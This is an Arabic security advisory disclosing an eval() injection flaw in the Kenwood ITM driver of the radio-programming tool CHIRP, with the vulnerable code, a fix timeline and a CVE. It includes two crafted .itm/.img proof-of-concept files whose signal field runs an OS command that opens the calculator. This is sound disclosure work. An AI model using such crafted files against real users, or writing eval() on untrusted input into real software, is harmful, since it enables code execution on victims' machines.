
استغلال إثبات المفهوم لتنفيذ كود عشوائي عبر حقن eval() في تطبيق برمجة راديو الهواة، بما في ذلك حمولات ملفات .itm/.img الضارة وتحليل السبب الجذري.
eval() في برنامج تشغيل Kenwood ITMالمنتج: CHIRP - مشروع مفتوح المصدر لبرمجة أجهزة راديو الهواة.
الإصدارات المتأثرة:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
الإصدارات المتأثرة: <= chirp-next-20260814
CWE: CWE-95 (حقن Eval)
يمرر برنامج تشغيل صيغة ملفات Kenwood ITM في CHIRP قيم حقول CSV الخام من ملف مفتوح مباشرةً إلى دالة eval() المدمجة في Python دون أي تحقق. ويتمكن المهاجم الذي يوصل ملفًا مصممًا خصيصًا إلى مستخدم CHIRP من تنفيذ تعليمات برمجية عشوائية بصلاحيات المستخدم الضحية.
chirp/drivers/kenwood_itm.py، _clean_tmode()، الأسطر 66–67:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
تأتي قيم TXSIG وRXSIG مباشرةً من صف CSV في الملف المفتوح. ولا يُطبَّق أي فحص للنوع أو قائمة سماح أو عزل (sandboxing) قبل eval().
فيما يلي إثباتا مفهوم.
.itm خبيث// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img خبيث// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img. إذا كنت تستخدم حمولة .itm، فغيّر القائمة المنسدلة للتصفية إلى "All Files" (لا يتم تصفية ITM في CHIRP).{file_name}.itm.2026-8-17 -- تم اكتشاف الثغرة
2026-8-17 -- تم إرسال بريد إلكتروني إلى المشرف
2026-8-17 -- استجاب المشرف وأصلح الكود في اليوم نفسه. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- يتضمن إصدار المثبّت 20260821 الإصلاح.
2026-8-22 -- صدر NotCVE-2026-0013.
2026-8-23 -- صدر CVE-2026-78136.